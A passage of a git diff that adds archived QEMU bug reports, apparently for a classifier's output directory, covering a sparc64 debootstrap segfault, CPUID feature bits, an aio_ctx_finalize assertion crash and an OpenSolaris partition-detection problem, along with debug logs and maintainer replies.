with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/84 + + diff --git a/results/classifier/deepseek-1/output/issue./1254828 b/results/classifier/deepseek-1/output/issue./1254828 new file mode 100644 index 00000000..dced8a5f --- /dev/null +++ b/results/classifier/deepseek-1/output/issue./1254828 @@ -0,0 +1,148 @@ + +qemu-sparc64-static: Segmentation Fault during debootstrap second stage + +Host: Ubuntu Precise amd64 +Guest: Debian Sid (ports) sparc64 + +When attempting the second stage of a debootstrap for a sparc64 Debian Sid guest, a segmentation fault occurs. + +$ sudo qemu-debootstrap --no-check-gpg --arch=sparc64 sid sparc64 http://ftp.debian-ports.org/debian +I: Running command: debootstrap --arch sparc64 --foreign --no-check-gpg sid sparc64 http://ftp.debian-ports.org/debian +[...] +I: Running command: chroot sparc64 /debootstrap/debootstrap --second-stage +/debootstrap/debootstrap: 22: .: Can't open /usr/share/debootstrap/functions +Segmentation fault (core dumped) + +Running a simple "sudo chroot sparc64" exits silently on amd64, and reports a segfault on i386. + +ProblemType: Bug +DistroRelease: Ubuntu 12.04 +Package: qemu-user-static 1.0.50-2012.03-0ubuntu2.1 +ProcVersionSignature: Ubuntu 3.8.0-33.48~precise1-generic 3.8.13.11 +Uname: Linux 3.8.0-33-generic x86_64 +NonfreeKernelModules: wl +ApportVersion: 2.0.1-0ubuntu17.6 +Architecture: amd64 +Date: Mon Nov 25 17:49:34 2013 +Dependencies: + +InstallationMedia: Ubuntu 12.04.3 LTS "Precise Pangolin" - Release amd64 (20130820.1) +MarkForUpload: True +ProcEnviron: + LANGUAGE=en_GB:en + TERM=xterm + PATH=(custom, no user) + LANG=en_GB.UTF-8 + SHELL=/bin/bash +SourcePackage: qemu-linaro +UpgradeStatus: No upgrade log present (probably fresh install) + +Version: 1.6.0+dfsg-2ubuntu4 + +Still in Trusty. + +Tried again with today's git and the result is a bit different: + +I: Running command: chroot debian-sparc64-sid /debootstrap/debootstrap --second-stage +Unhandled trap: 0x34 +pc: 00000000001109a4 npc: 00000000001109a8 +%g0-3: 0000000000000000 0000000000000001 0000000000000000 000000000021b800 +%g4-7: 000000000b000000 00000040009ddcc0 000000008a116000 0000004000b8e6f0 +%o0-3: 0000000000000014 00000040007ff9e9 00000040007ff9e9 0000000000000000 +%o4-7: 0000000000000000 0000000000000000 00000040007ff929 00000040007ffa91 +%l0-3: 0000000000000000 0000000000000000 0000004000801e8b 0000000000116398 +%l4-7: 0000000000000002 0000000000000000 0000000000000000 0000004000b86000 +%i0-3: 0000000000000001 00000000002463a0 0000000000000000 000000000021b800 +%i4-7: 000000000021bad0 0000000000219400 00000040007ffe81 000000000010b174 +%f00: 65636f6e645f7374 ffffffffffffffff 7461676588000000 7365636f6e645f73 +%f08: ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff +%f16: 7b245f2065712024 706b677d20404152 4756293b0a092469 6e20813d20302069 +%f24: 662028812f5e2481 2f293b0a09696620 2824696e20616e64 2028812f5e446570 +%f32: 656e6473813a2028 2e812a2924812f20 6f7220812f5e5072 65812d446570656e +%f40: 6473813a20282e81 2a2924812f292920 7b0a0909666f7220 2464202873706c69 +%f48: 7b0a0909666f7220 2824696e20616e64 2028812f5e446570 656e6473813a2028 +%f56: 2e812a2924812f20 6f7220812f5e5072 65812d446570656e 6473813a20282e81 +pstate: 00000092 ccr: 44 (icc: -Z-- xcc: -Z--) asi: f0 tl: 0 pil: 0 +cansave: 5 canrestore: 1 otherwin: 0 wstate: 0 cleanwin: 7 cwp: 5 +fsr: 0000000000000000 y: 0000000000000031 fprs: 0000000000000004 + +# qemu-sparc64-static -version +qemu-sparc64 version 1.7.50, Copyright (c) 2003-2008 Fabrice Bellard + +I am seeing the same: + +# qemu-sparc64-static -version +qemu-sparc64 version 2.1.50, Copyright (c) 2003-2008 Fabrice Bellard + +This sounds like a distribution specific bug to me, so moving the bug to QEMU-Ubuntu. + +Thanks Thomas to reassign so I finally got aware of this. + +At least I can confirm the issue on Xenial: +qemu at version 1:2.5+dfsg-5ubuntu10.6 + +sudo qemu-debootstrap --no-check-gpg --arch=sparc64 sid sparc64 http://ftp.debian-ports.org/debian +[...] +I: Running command: chroot sparc64 /debootstrap/debootstrap --second-stage +Unhandled trap: 0x34 +pc: 0000000000110688 npc: 000000000011068c +%g0-3: 0000000000000000 0000000000000001 0000000000218c00 0000000000000000 +%g4-7: 0000000000000000 00000000009e3440 00000000000000b1 000000400092a400 +%o0-3: 0000000000000014 00000040007ff8e9 00000040007ff8e9 0000000000000000 +%o4-7: 0000000000000000 0000000000000000 00000040007ff829 00000040007ff991 +%l0-3: 0000000000000000 0000000000000000 0000000000000000 0000004000801f00 +%l4-7: 0000000000000000 0000000000000020 0000004000b8f5c8 0000004000b8e000 +%i0-3: 0000000000000001 000000000021e800 000000000021b400 0000000000219000 +%i4-7: 0000000000218800 000000000021b770 00000040007ffdc1 000000000010af14 +%f00: 636865636b696e67 202061766f696420 2020202020207363 7261746368626f78 +%f08: 202061766f696420 65290a2020202020 20812d812d6b6579 72696e67813d4b20 +%f16: 7573652076617269 616e742058206f66 2074686520626f6f 7473747261702073 +%f24: 6372697074730a20 2020202020202020 2020202020202020 2020202020202020 +%f32: 2020202028637572 72656e746c792073 7570706f72746564 2076617269616e74 +%f40: 73813a206275696c 64642c2066616b65 6368726f6f742c0a 2020202020202020 +%f48: 20812d812d6b6579 2020202020202020 2020202020202020 2020202020202020 +%f56: 2020202020207363 7261746368626f78 2c206d696e626173 65290a2020202020 +pstate: 00000092 ccr: 44 (icc: -Z-- xcc: -Z--) asi: f0 tl: 0 pil: 0 +cansave: 3 canrestore: 3 otherwin: 0 wstate: 0 cleanwin: 7 cwp: 5 +fsr: 0000000000000000 y: 0000000000000000 fprs: 0000000000000004 + + +Similar for Yakkety: +qemu version 1:2.6.1+dfsg-0ubuntu9 + +I: Running command: chroot sparc64 /debootstrap/debootstrap --second-stage +Unhandled trap: 0x34 +pc: 0000000000110688 npc: 000000000011068c +%g0-3: 0000000000000000 0000000000000001 0000000000218c00 0000000000000000 +%g4-7: 0000000000000000 00000000009e3440 0000000000000214 000000400092a400 +%o0-3: 0000000000000014 00000040007ffa59 00000040007ffa59 0000000000000000 +%o4-7: 0000000000000000 0000000000000000 00000040007ff999 00000040007ffb01 +%l0-3: 0000000000000000 0000000000000000 0000000000000000 0000004000801f44 +%l4-7: 0000000000000000 0000000000000020 0000004000b8f5c8 0000004000b8e000 +%i0-3: 0000000000000001 0000000000249260 000000000021b400 0000000000219000 +%i4-7: 0000000000218800 000000000021b770 00000040007fff31 000000000010af14 +%f00: 636865636b696e67 202061766f696420 20812d812d6b6579 72696e67813d4b20 +%f08: 202061766f696420 202020636865636b 2052656c65617365 2066696c65732061 +%f16: 6372697074730a20 2020202020202020 2020202020202020 2020202020202020 +%f24: 2020202028637572 72656e746c792073 7570706f72746564 2076617269616e74 +%f32: 73813a206275696c 64642c2066616b65 6368726f6f742c0a 2020202020202020 +%f40: 2020202020202020 2020202020202020 2020202020207363 7261746368626f78 +%f48: 2052656c65617365 2020202020202020 2020202020207363 7261746368626f78 +%f56: 2c206d696e626173 65290a2020202020 20812d812d6b6579 72696e67813d4b20 +pstate: 00000092 ccr: 44 (icc: -Z-- xcc: -Z--) asi: f0 tl: 0 pil: 0 +cansave: 3 canrestore: 3 otherwin: 0 wstate: 0 cleanwin: 7 cwp: 5 +fsr: 0000000000000000 y: 0000000000000000 fprs: 0000000000000004 + + +As I expected this is not very "exclusive" linking in the Debian bug + +Fails up to Focal (I only tested LTS) but then seems to work fine with Jammy. + +I: Running command: chroot sid-sparc64 /debootstrap/debootstrap --second-stage +*** longjmp causes uninitialized stack frame ***: terminated +Segmentation fault (core dumped) + +Tried Lunar, Mantic and Noble too and they all work. + +Looks like it was fixed somewhere between 4.2 and 6.2. + diff --git a/results/classifier/deepseek-1/output/issue./1693667 b/results/classifier/deepseek-1/output/issue./1693667 new file mode 100644 index 00000000..570ed7ba --- /dev/null +++ b/results/classifier/deepseek-1/output/issue./1693667 @@ -0,0 +1,139 @@ + +-cpu haswell / broadwell have no MONITOR in features1 + +In qemu 2.9.0 if you run + + qemu-system-x86_64 -cpu Broadwell (or Haswell) + +then the CPU features1 flag include the SSE3 bit, but do NOT include the MONITOR/MWAIT bit. This is so even when the host includes the features. + + +Additionally, running qemu in this manner results in several error messages: + +warning: TCG doesn't support requested feature: CPUID.01H:ECX.fma [bit 12] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.x2apic [bit 21] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.tsc-deadline [bit 24] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.avx [bit 28] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.f16c [bit 29] +warning: TCG doesn't support requested feature: CPUID.01H:ECX.rdrand [bit 30] +warning: TCG doesn't support requested feature: CPUID.07H:EBX.hle [bit 4] +warning: TCG doesn't support requested feature: CPUID.07H:EBX.avx2 [bit 5] +warning: TCG doesn't support requested feature: CPUID.07H:EBX.invpcid [bit 10] +warning: TCG doesn't support requested feature: CPUID.07H:EBX.rtm [bit 11] +warning: TCG doesn't support requested feature: CPUID.07H:EBX.rdseed [bit 18] +warning: TCG doesn't support requested feature: CPUID.80000001H:ECX.3dnowprefetch + + +(Among possible other uses, the lack of the MONITOR feature bit causes NetBSD to fall-back on a +check-and-pause loop while an application CPU is waiting to be told to proceed by the boot CPU.) + +Can you still reproduce this issue with the latest version of QEMU? Looking at https://git.qemu.org/?p=qemu.git;a=commitdiff;h=0723cc8a5558c94388 for example, it might have been fixed since QEMU v4.2... + +This bug seems not to be a problem, and may reflect an issue with +NetBSD. Even though the decode of the features1 register does not +include MONITOR/MWAIT, that capability is separately reported on a +separate line, further down (apologies in advance for any confusing +line-wrap): + +# cpuctl identify 0 +cpu0: highest basic info 0000000d +cpu0: highest hypervisor info 40000001 +cpu0: highest extended info 80000008 +cpu0: Running on hypervisor: QEMU(TCG) +cpu0: "Intel Core Processor (Broadwell)" +cpu0: Intel Core M-5xxx, 5th gen Core (Broadwell) (686-class), 3198.24 MHz +cpu0: family 0x6 model 0x3d stepping 0x2 (id 0x306d2) +cpu0: features 0x78bfbfd<FPU,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA> +cpu0: features 0x78bfbfd<CMOV,PAT,PSE36,CLFLUSH,MMX,FXSR,SSE,SSE2> +cpu0: features1 0xced82203<SSE3,PCLMULQDQ,SSSE3,CX16,SSE41,SSE42,MOVBE,POPCNT> +cpu0: features1 0xced82203<AES,XSAVE,OSXSAVE,RDRAND,RAZ> +cpu0: features2 0x28100800<SYSCALL/SYSRET,XD,RDTSCP,EM64T> +cpu0: features3 0x21<LAHF,LZCNT> +cpu0: features5 0x180389<FSGSBASE,BMI1,SMEP,BMI2,ERMS,ADX,SMAP> +cpu0: xsave features 0x7<x87,SSE,AVX> +cpu0: xsave instructions 0x1<XSAVEOPT> +cpu0: xsave area size: current 832, maximum 832, xgetbv enabled +cpu0: enabled xsave 0x7<x87,SSE,AVX> +cpu0: I-cache 32KB 64B/line 8-way, D-cache 32KB 64B/line 8-way +cpu0: L2 cache 4MB 64B/line 16-way +cpu0: L3 cache 16MB 64B/line 16-way +cpu0: Initial APIC ID 0 +cpu0: Cluster/Package ID 0 +cpu0: Core ID 0 +cpu0: SMT ID 0 +cpu0: MONITOR/MWAIT extensions 0x3<EMX,IBE> +cpu0: monitor-line size 0 +cpu0: DSPM-eax 0x4<ARAT> +cpu0: SEF highest subleaf 00000000 +cpu0: Power Management features: 0 +cpu0: microcode version 0x0, platform ID 0 +# + +On Fri, 22 May 2020, Thomas Huth wrote: + +> Can you still reproduce this issue with the latest version of QEMU? +> Looking at +> https://git.qemu.org/?p=qemu.git;a=commitdiff;h=0723cc8a5558c94388 for +> example, it might have been fixed since QEMU v4.2... +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1693667 +> +> Title: +> -cpu haswell / broadwell have no MONITOR in features1 +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> In qemu 2.9.0 if you run +> +> qemu-system-x86_64 -cpu Broadwell (or Haswell) +> +> then the CPU features1 flag include the SSE3 bit, but do NOT include +> the MONITOR/MWAIT bit. This is so even when the host includes the +> features. +> +> +> Additionally, running qemu in this manner results in several error messages: +> +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.fma [bit 12] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.pcid [bit 17] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.x2apic [bit 21] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.tsc-deadline [bit 24] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.avx [bit 28] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.f16c [bit 29] +> warning: TCG doesn't support requested feature: CPUID.01H:ECX.rdrand [bit 30] +> warning: TCG doesn't support requested feature: CPUID.07H:EBX.hle [bit 4] +> warning: TCG doesn't support requested feature: CPUID.07H:EBX.avx2 [bit 5] +> warning: TCG doesn't support requested feature: CPUID.07H:EBX.invpcid [bit 10] +> warning: TCG doesn't support requested feature: CPUID.07H:EBX.rtm [bit 11] +> warning: TCG doesn't support requested feature: CPUID.07H:EBX.rdseed [bit 18] +> warning: TCG doesn't support requested feature: CPUID.80000001H:ECX.3dnowprefetch +> +> +> (Among possible other uses, the lack of the MONITOR feature bit causes NetBSD to fall-back on a +> check-and-pause loop while an application CPU is waiting to be told to proceed by the boot CPU.) +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1693667/+subscriptions +> +> !DSPAM:5ec76256254551748016490! +> +> + ++--------------------+--------------------------+-----------------------+ +| Paul Goyette | PGP Key fingerprint: | E-mail addresses: | +| (Retired) | FA29 0E3B 35AF E8AE 6651 | <email address hidden> | +| Software Developer | 0786 F758 55DE 53BA 7731 | <email address hidden> | ++--------------------+--------------------------+-----------------------+ + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/issue./1923689 b/results/classifier/deepseek-1/output/issue./1923689 new file mode 100644 index 00000000..a80dfca0 --- /dev/null +++ b/results/classifier/deepseek-1/output/issue./1923689 @@ -0,0 +1,89 @@ + +sig-abort / coredump observed from aio_ctx_finalize + +Observing occasional sig-abort based on v5.2.0 (tag) of QEMU. The VMM is configured for Kata use case, launching with a nvdimm/pmem based rootfs, and a set of workloads which are heavily utilizing virtio-fs. + +Sample qemu-cmdline: +/usr/bin/qemu-kata-system-x86_64 +-name sandbox-9dc314445bbb2cd02e6d30126ea8355a4f8acd36c866ea32171486931dc2b99c +-uuid cd58d78d-ad44-4d26-9eab-66efab3fb23b +-machine pc,accel=kvm,kernel_irqchip,nvdimm=on +-cpu host,pmu=off +-qmp unix:/run/vc/vm/9dc314445bbb2cd02e6d30126ea8355a4f8acd36c866ea32171486931dc2b99c/qmp.sock,server,nowait +-m 2048M,slots=10,maxmem=386381M +-device pci-bridge,bus=pci.0,id=pci-bridge-0,chassis_nr=1,shpc=on,addr=2,romfile= +-device virtio-serial-pci,disable-modern=false,id=serial0,romfile=,max_ports=2 +-device virtconsole,chardev=charconsole0,id=console0 +-chardev socket,id=charconsole0,path=/run/vc/vm/9dc314445bbb2cd02e6d30126ea8355a4f8acd36c866ea32171486931dc2b99c/console.sock,server,nowait +-device nvdimm,id=nv0,memdev=mem0 +-object memory-backend-file,id=mem0,mem-path=/usr/share/kata-containers/kata-containers.img,size=536870912 +-object rng-random,id=rng0,filename=/dev/urandom +-device virtio-rng-pci,rng=rng0,romfile= +-device vhost-vsock-pci,disable-modern=false,vhostfd=3,id=vsock-3054067214,guest-cid=3054067214,romfile= +-chardev socket,id=char-770bb156466e8ed5,path=/run/vc/vm/9dc314445bbb2cd02e6d30126ea8355a4f8acd36c866ea32171486931dc2b99c/vhost-fs.sock +-device vhost-user-fs-pci,chardev=char-770bb156466e8ed5,tag=kataShared,romfile= +-netdev tap,id=network-0,vhost=on,vhostfds=4,fds=5 +-device driver=virtio-net-pci,netdev=network-0,mac=9e:ad:0c:d1:58:e0,disable-modern=false,mq=on,vectors=4,romfile= +-rtc base=utc,driftfix=slew,clock=host +-global kvm-pit.lost_tick_policy=discard +-vga none +-no-user-config +-nodefaults +-nographic +--no-reboot +-daemonize +-object memory-backend-file,id=dimm1,size=2048M,mem-path=/dev/shm,share=on +-numa node,memdev=dimm1 +-kernel /usr/share/kata-containers/vmlinuz +-append tsc=reliable no_timer_check rcupdate.rcu_expedited=1 i8042.direct=1 i8042.dumbkbd=1 i8042.nopnp=1 i8042.noaux=1 noreplace-smp reboot=k console=hvc0 console=hvc1 cryptomgr.notests net.ifnames=0 pci=lastbus=0 root=/dev/pmem0p1 rootflags=dax,data=ordered,errors=remount-ro ro rootfstype=ext4 quiet systemd.show_status=false panic=1 nr_cpus=32 systemd.unit=kata-containers.target systemd.mask=systemd-networkd.service systemd.mask=systemd-networkd.socket +-pidfile /run/vc/vm/9dc314445bbb2cd02e6d30126ea8355a4f8acd36c866ea32171486931dc2b99c/pid +-smp 1,cores=1,threads=1,sockets=32,maxcpus=32 + +From the core file I was able to obtain a backtrace: + +``` +(gdb) info thread + Id Target Id Frame + 6 Thread 0x7f92feffd700 (LWP 14678) 0x00007f93b23a0a35 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 + 5 Thread 0x7f92fffff700 (LWP 13860) 0x00007f93b23a0a35 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 + 4 Thread 0x7f930dcff700 (LWP 13572) 0x00007f93b23a0a35 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 + 3 Thread 0x7f92ff7fe700 (LWP 14179) 0x00007f93b23a0a35 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib64/libpthread.so.0 + 2 Thread 0x7f93aed03700 (LWP 13565) 0x00007f93b20bfd19 in syscall () from /lib64/libc.so.6 +* 1 Thread 0x7f93c718dcc0 (LWP 13564) 0x00007f93b1ffd3d7 in raise () from /lib64/libc.so.6 +(gdb) bt trace +No symbol table is loaded. Use the "file" command. +(gdb) bt +#0 0x00007f93b1ffd3d7 in raise () from /lib64/libc.so.6 +#1 0x00007f93b1ffeac8 in abort () from /lib64/libc.so.6 +#2 0x00007f93b1ff61a6 in __assert_fail_base () from /lib64/libc.so.6 +#3 0x00007f93b1ff6252 in __assert_fail () from /lib64/libc.so.6 +#4 0x00000000007c6955 in aio_ctx_finalize () +#5 0x00007f93c64223d1 in g_source_unref_internal () from /lib64/libglib-2.0.so.0 +#6 0x00007f93c64225f5 in g_source_iter_next () from /lib64/libglib-2.0.so.0 +#7 0x00007f93c642362d in g_main_context_unref () from /lib64/libglib-2.0.so.0 +#8 0x00007f93c6425628 in g_main_loop_unref () from /lib64/libglib-2.0.so.0 +#9 0x00000000006dbaa0 in iothread_instance_finalize () +#10 0x00000000006c01e9 in object_unref () +#11 0x00000000006be647 in object_property_del_child () +#12 0x000000000075ad79 in monitor_cleanup () +#13 0x0000000000630635 in qemu_cleanup () +#14 0x000000000040fed3 in main () +``` + +I *think* we're hitting this assert: https://github.com/qemu/qemu/blob/master/util/async.c#L339 based on +``` +(gdb) up +#4 0x00000000007c6955 in aio_ctx_finalize () +``` + +The error is relatively infrequent, but a catastrophic core dump none the less. + +Please let me know if there's more I can pull from the core, or more info I can share to help facilitate debugging this error. + +Please install debuginfo and run "p *ctx" in GDB from the aio_ctx_finalize frame. That should show ctx->scheduled_coroutines, ctx->bh_slice_list, etc. + +Thanks to Stefan for the help -- IRL we debugged this to the following assert failure: + assert(QSIMPLEQ_EMPTY(&ctx->bh_slice_list)); + +This has been resolved upstream in https://github.com/qemu/qemu/commit/c81219a7dd36a815bd85beed9932fc973d4f5d51 + diff --git a/results/classifier/deepseek-1/output/issue./618533 b/results/classifier/deepseek-1/output/issue./618533 new file mode 100644 index 00000000..148795c2 --- /dev/null +++ b/results/classifier/deepseek-1/output/issue./618533 @@ -0,0 +1,226 @@ + +OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) + +# qemu-kvm --version +QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard + +The following disk is presented to guest as IDE disk with /dev/sdd as path. + +# fdisk -l /dev/sdd + +Disk /dev/sdd: 750.2 GB, 750156374016 bytes +255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +Units = sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disk identifier: 0x7f3a03aa + + Device Boot Start End Blocks Id System +/dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +/dev/sdd2 7887915 980736119 486424102+ 83 Linux +/dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +/dev/sdd4 1083150495 1465144064 190996785 5 Extended +/dev/sdd5 1083150558 1107746009 12297726 83 Linux +/dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS + +The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. + +This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + + + + + +Qemu's version of partition table is gotten using a OpenSolaris b134 livecd because I couldn't really boot the disk. + +Basically, somehow all the slice labels are missing when booted in Qemu. OpenSolaris thinks that /dev/sdd3 (which is a primary Solaris 'bf' type partition) is not sliced. Hence, its showing 2 unmountable slices and 1 reserved slice. + +When booted in VirtualBox, the correct slice table is seen. We can see slice 0 being 'root' slice of about 16GB, slice 1 being 'swap' slice of size about 6GB and slice 6 being the 'data' slice of about 26GB. + +This is a showstopper bug for me to adopt KVM as the virtualization solution because I just can't boot my OpenSolaris guest. I want to move to KVM because of in-kernel support and better SMP support. + +I ran qemu from command line with debugcon: + +# /usr/bin/qemu-system-x86_64 --enable-kvm -M pc-0.12 -enable-kvm -m 1024 -smp 2,sockets=2,cores=1,threads=1 -name opensolaris -uuid 7efc6da0-e40f-a1c5-0e85-763dc7ff209c -nodefaults -rtc base=localtime -boot dc -device lsi,id=scsi0,bus=pci.0,addr=0x6 -drive file=Korona4.4.5.iso,if=none,media=cdrom,id=drive-ide0-1-0,readonly=on,format=raw -device ide-drive,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0 -drive file=/dev/sdd,if=none,id=drive-ide0-0-0,format=raw -device ide-drive,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0 -usb -device usb-tablet,id=input0 -sdl -vga vmware -chardev stdio,id=seabios -device isa-debugcon,iobase=0x402,chardev=seabios +Start bios (version pre-0.6.1-20100713_085324-titi) +Ram Size=0x40000000 (0x0000000000000000 high) +CPU Mhz=2814 +PCI: pci_bios_init_bus_rec bus = 0x0 +PIIX3/PIIX4 init: elcr=00 0c +PCI: bus=0 devfn=0x00: vendor_id=0x8086 device_id=0x1237 +PCI: bus=0 devfn=0x08: vendor_id=0x8086 device_id=0x7000 +PCI: bus=0 devfn=0x09: vendor_id=0x8086 device_id=0x7010 +region 4: 0x0000c000 +PCI: bus=0 devfn=0x0a: vendor_id=0x8086 device_id=0x7020 +region 4: 0x0000c020 +PCI: bus=0 devfn=0x0b: vendor_id=0x8086 device_id=0x7113 +PCI: bus=0 devfn=0x10: vendor_id=0x15ad device_id=0x0405 +region 0: 0x0000c040 +region 1: 0xf0000000 +region 2: 0xf1000000 +PCI: bus=0 devfn=0x30: vendor_id=0x1000 device_id=0x0012 +region 0: 0x0000c100 +region 1: 0xf1010000 +region 2: 0xf1012000 +Found 2 cpu(s) max supported 2 cpu(s) +MP table addr=0x000fdbe0 MPC table addr=0x000fdbf0 size=244 +SMBIOS ptr=0x000fdbc0 table=0x3ffffec0 +ACPI tables: RSDP=0x000fdb90 RSDT=0x3fffde10 +Scan for VGA option rom +Running option rom at c000:0003 +Turning on vga text mode console +Starting SeaBIOS (version pre-0.6.1-20100713_085324-titi) + +UHCI init on dev 00:01.2 (io=c020) +Found 0 lpt ports +Found 0 serial ports +ATA controller 0 at 1f0/3f4/0 (irq 14 dev 9) +ATA controller 1 at 170/374/0 (irq 15 dev 9) +ata0-0: QEMU HARDDISK ATA-7 Hard-Disk (698 GiBytes) +drive 0x000fdb40: PCHS=16383/16/63 translation=lba LCHS=1024/255/63 s=1465149168 +ata1-0: QEMU DVD-ROM ATAPI-4 DVD/CD +PS2 keyboard initialized +WARNING - Timeout at wait_qh:218! +Timeout on wait_qh 0x3ffef990 (td=0x3ffef8f0 s=400000 c=c1/0) +All threads complete. +Scan for option roms +Running option rom at ca00:0003 +ebda moved from 9fc00 to 9f400 +Returned 53248 bytes of ZoneHigh +e820 map has 7 items: + 0: 0000000000000000 - 000000000009f400 = 1 + 1: 000000000009f400 - 00000000000a0000 = 2 + 2: 00000000000f0000 - 0000000000100000 = 2 + 3: 0000000000100000 - 000000003fffd000 = 1 + 4: 000000003fffd000 - 0000000040000000 = 2 + 5: 00000000fffc0000 - 0000000100000000 = 2 + 6: feffd00000000000 - ff00100000000000 = 0 +enter handle_19: + NULL +Booting from DVD/CD... +1368MB medium detected +Booting from 0000:7c00 + +Why are PCHS and LCHS both wrong? + +I thought C*H*S was equal to the physical size. if c <16384, h<16, s<63 for the physical, then max size disk it can support is about 8GB. what gives? + +And C*H*S IS equal to the disk size as shown in the fdisk -l output above. + +Since I have been battling this issue alone in this bug report, here is the deal: Attached is the patch which applies to 12.5 and 13.5 and fixes the issue. + +Can someone please verify the integrity and apply? + +hello? anybody home? + +On Thu, Aug 19, 2010 at 7:03 AM, devsk <email address hidden> wrote: +> hello? anybody home? +> +> -- +> OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) +> https://bugs.launchpad.net/bugs/618533 +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> +> Status in QEMU: New +> +> Bug description: +> # qemu-kvm --version +> QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard +> +> The following disk is presented to guest as IDE disk with /dev/sdd as path. +> +> # fdisk -l /dev/sdd +> +> Disk /dev/sdd: 750.2 GB, 750156374016 bytes +> 255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +> Units = sectors of 1 * 512 = 512 bytes +> Sector size (logical/physical): 512 bytes / 512 bytes +> I/O size (minimum/optimal): 512 bytes / 512 bytes +> Disk identifier: 0x7f3a03aa +> +> Device Boot Start End Blocks Id System +> /dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +> /dev/sdd2 7887915 980736119 486424102+ 83 Linux +> /dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +> /dev/sdd4 1083150495 1465144064 190996785 5 Extended +> /dev/sdd5 1083150558 1107746009 12297726 83 Linux +> /dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS +> +> The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. +> +> This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + +Please send the patch to the qemu-devel list. Don't forget a +Signed-off-by: line. + +What's this bugdb for then? I now have to subscribe to a list, just to send the patch? + +On Fri, Aug 20, 2010 at 5:15 AM, devsk <email address hidden> wrote: +> What's this bugdb for then? I now have to subscribe to a list, just to +> send the patch? + +It's probably there to report bugs. But it's much easier to review +submitted code when it's sent to the list. I don't think you have to +be a subscriber. + +what's the list address? All the lists at the kvm main page are for kvm only. + +On Fri, Aug 27, 2010 at 3:57 PM, devsk <email address hidden> wrote: +> what's the list address? All the lists at the kvm main page are for kvm +> only. +> +> -- +> OpenSolaris guest fails to see the Solaris partitions of a physical disk in qemu-kvm-9999 (GIT) +> https://bugs.launchpad.net/bugs/618533 +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> +> Status in QEMU: New +> +> Bug description: +> # qemu-kvm --version +> QEMU emulator version 0.13.50 (qemu-kvm-devel), Copyright (c) 2003-2008 Fabrice Bellard +> +> The following disk is presented to guest as IDE disk with /dev/sdd as path. +> +> # fdisk -l /dev/sdd +> +> Disk /dev/sdd: 750.2 GB, 750156374016 bytes +> 255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors +> Units = sectors of 1 * 512 = 512 bytes +> Sector size (logical/physical): 512 bytes / 512 bytes +> I/O size (minimum/optimal): 512 bytes / 512 bytes +> Disk identifier: 0x7f3a03aa +> +> Device Boot Start End Blocks Id System +> /dev/sdd1 63 7887914 3943926 1b Hidden W95 FAT32 +> /dev/sdd2 7887915 980736119 486424102+ 83 Linux +> /dev/sdd3 * 980736120 1083150494 51207187+ bf Solaris +> /dev/sdd4 1083150495 1465144064 190996785 5 Extended +> /dev/sdd5 1083150558 1107746009 12297726 83 Linux +> /dev/sdd6 1107746073 1465144064 178698996 7 HPFS/NTFS +> +> The prtvtoc output is attached from both VirtualBox and Qemu-KVM. As can be seen in the screenshots, a valid Solaris partition table (which is inside the /dev/sdd3, marked 'bf' in Linux fdisk output) is not seen in Qemu but seen in Virtualbox. +> +> This makes the guest unbootable in Qemu because the root FS is not found but its bootable in Virtualbox. + +Sorry, I missed that this was for qemu-kvm. Anyway, the patch is +probably applicable to QEMU as well and you actually filed the bug to +Qemu. + +qemu-devel list information can be found in 